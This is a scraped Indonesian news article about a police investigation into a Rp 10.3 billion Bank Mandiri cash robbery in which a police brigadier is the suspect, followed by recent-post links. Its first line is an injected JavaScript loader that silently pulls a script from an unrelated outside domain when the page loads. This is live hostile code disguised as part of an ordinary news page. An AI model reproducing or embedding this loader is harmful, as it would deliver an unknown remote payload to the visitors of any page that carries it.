(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kanal

Polisi Periksa Saksi Sopir Bank Mandiri, Sering Pakai Sabu dengan Brigadir Jumadi


BANJARMASIN, Polisi terus mengungkap sejumlah fakta terkait kasus perampokan uang Bank Mandiri sebesar Rp 10,3 miliar. Salah satu yang diusut, adalah sopir Bank Mandiri bernama Gugum, yang turut menjadi korban penyekapan dalam peristiwa tersebut.

Pendalaman terhadap Gugum dilakukan, mengingat yang bersangkutan ternyata memiliki hubungan dekat dengan tersangka pelaku Brigadir Jumadi. Selain itu, dari hasil cek urin yang dilakukan polisi terhadap sopir Bank Mandiri itu, didapati kalau yang bersangkutan positif menggunakan sabu.

“Dari pengakuannya (Gugum), dia menggunakan sabu bersama tersangka Jumadi,” kata sumber kepolisian kepada Kanalkalimantan.com  

Kedakatan hubungan juga nampak pada saat Gugum tak melakukan prosedur resmi permintaan pengawalan. Merujuk pada kronologi peristiwa, saat itu sekitar jam 06.30 Wita, Gugum menjemput Brigadir Jumadi di rumahnya untuk melakukan pengawalan pengambilan uang di Kantor Bank Mandiri Cabang Banjarmasin, jam 07.30 Wita.

Dalam rangka pengawalan, Brigadir Jumadi lalu menghubungi anggota Polres Tabalong untuk pinjam pakai senjata api dan izin tidak melaksanakan apel karena akan melaksanakan giat pengawalan bank.

Kapolda Kalsel Brigjen Rachmat Mulyana tak menampik terus mendalami kasus ini. Termasuk terkait Gugum yang meminta Jumadi mengawal uang tanpa ada permintaan resmi ke institusi resmi Polres Tabalong. “Prosedur pengawalan harus mengajukan surat resmi, tidak by phone per orang, lah ini per telepon minta pengawalannya. Sudah salah ini, kami akan tertibkan lagi,” katanya.

Sekitar jam 08.00 Wita, pelaku dan korban berangkat dari Polres Tabalong setelah pinjam pakai senpi menuju Banjarmasin dengan menggunakan mobil Toyota Avanza warna hitam No Polisi DD 1182 KE.

Sekitar jam 13.00 Wita,  mereka tiba di Bank Mandiri Cabang Banjarmasin, Jl Pangeran Samudera kemudian korban Atika dan Gugum masuk ke dalam Bank mengambil uang pecahan Rp 100.000 sebanyak  Rp 6.000.000.000 (6 miliar) pecahan Rp 50.000 sebanyak Rp 4.000.000.000 (4 miliar) dan pecahan USD 100 sebanyak USD 25.000.

Pada pukul 13.30 Wita, rombongan lantas menuju Tabalong dan bermaksud untuk mampir makan siang di RM Wong Solo sekitar bundaran Banjarbaru. Dimana sebelumnya pelaku menyarankan untuk makan di Soto Anang Martapura, namun keputusan akhir di RM Wong Solo.

Pada pukul 14.30 Wita, selesai makan siang dan pada saat akan persiapan naik mobil, tiba-tiba bergabung pelaku tambahan (sebut saja X) yang identitasnya dalam penyelidikan, ikut menumpang dan rencana akan mengambil sesuatu di Martapura. Sehingga mobil mengarah ke Polsek Martapura Kota.

Kapolda Kalsel merealese kasus perampokan uang Rp 10,3 miliar milik Bank Mandiri. Foto : ammar

Nah, di persimpangan Polsek belok kiri dan selanjutnya belok kiri dan ketika di lokasi yangg agak sepi pelaku oknum anggota Jumadi menodong driver  dengan senpi dinas dan pelaku kedua (X) mengancam Atika seolah-olah gunakan senpi. “Turuti saja perintah Jumaidi klo tidak saya bolongin kaki kamu,” dengan logat Tabalong yang kental.

Selanjutnya kedua korban diikat, Gugum diikat menggunakan borgol, dilakban mata dan mulut. Sedangkan Atika kedua tangan, kaki, mata dan mulut dilakban. Kemudian Gugum diperintahkan untuk pindah ke kursi samping driver dan Brigadir Jumadi mengemudikan mobil tersebut.

Korban sempat beberapakali melihat melalui celah lakban bahwa kendaraan berbalik arah menuju Banjarmasin karena melalui bandara dan melalui bundaran Liang Anggang serta mendengar bunyi kendaraan besar yang melintas. Korban juga bebebrapa kali mendengar kegiatan para pelaku dimana sekitar 15 menit setelah bergerak ke arah Kota Banjarmasin,  pelaku turun keluar dari mobil. Kemudian obrolan telepon pelaku oknum anggota yang beberap kali menyatakan bahwa tempat masih ramai dan pelaku beberapa kali mengeluarkan uang dari bagasi belakang yang diduga dipindahkan ke kendaraan lain.(ammar)

 

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

8 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

11 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

11 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

13 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

15 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

16 jam ago

This website uses cookies.